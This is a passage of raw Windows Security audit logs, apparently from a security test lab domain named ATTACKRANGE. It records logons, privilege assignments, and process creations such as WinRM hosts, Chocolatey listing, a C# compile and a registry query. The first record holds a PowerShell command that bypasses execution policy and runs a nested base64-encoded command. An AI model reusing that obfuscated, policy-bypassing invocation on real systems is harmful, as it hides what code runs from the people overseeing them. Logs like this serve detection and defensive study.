	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246059
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x731F9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246058
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x731F9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246057
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246056
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246055
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcfc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd08
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246054
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Process Information:
	New Process ID:		0xd08
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246053
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246052
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246051
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246050
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246079
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfd4
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd90
	Creator Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246078
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd90
	New Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf4c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246077
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x74E8C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246076
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x74E8C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246075
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246074
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246073
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf5c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES153.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC1759A2A9267948828522C5E9FE50ADB5.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246085
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb2c
	New Process Name:	C:\Windows\System32\reg.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x9cc
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	C:\Windows\system32\reg.exe  query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246084
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe54
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c C:\Windows\system32\reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246083
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd9c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe54
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
